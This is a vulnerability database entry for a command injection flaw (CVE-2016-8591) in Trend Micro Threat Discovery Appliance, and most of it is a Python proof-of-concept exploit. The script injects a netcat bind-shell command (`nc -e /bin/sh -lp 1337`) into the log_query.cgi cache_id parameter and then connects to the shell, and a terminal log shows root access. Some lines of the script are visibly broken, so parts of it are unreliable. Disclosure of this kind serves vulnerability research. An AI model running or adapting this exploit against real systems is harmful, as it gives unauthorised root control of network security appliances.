Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) log_query.cgi Command Injection Remote Code Execution Vulnerability (CVE-2016-8591)

ID SSV:92987
Type seebug
Reporter Root
Modified 2017-04-21T00:00:00



There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.


  • Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was exec a bind shell using netcat.
  • Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...


saturn:trend_micro_threat_discovery_log_query_rce mr_me$ ./ (+) usage: ./ <target> <pass> (+) eg: ./ admin123 saturn:trend_micro_threat_discovery_log_query_rce mr_me$ ./ admin123 (+) logged in... (+) starting backdoor, this will take a few secs... (+) calling backdoor! id uid=0(root) gid=0(root) uname -a Linux localhosta #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown pwd /opt/TrendMicro/MinorityReport/www/cgi-bin exit

                                                import re
import os
import sys
import time
import requests
import threading


if len(sys.argv) != 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s admin123" % sys.argv[0]

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/log_query.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
    # now we setup our backdoor
    # no reverse, since it seems to fail !?
    netcat = "test|`nc -e /bin/sh -lp 1337`"
    e_url += "?act=search_advanced&cache_id=%s" % netcat
    s.get(e_url, verify=False, proxies={"http":""})

# first we login...
r =, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."

    thread = threading.Thread(target=exec_bd, args=(s, e_url,))

    print "(+) starting backdoor, this will take a few secs..."

    print "(+) calling backdoor!"
    os.system("nc %s 1337" % t)

    print "(-) login failed"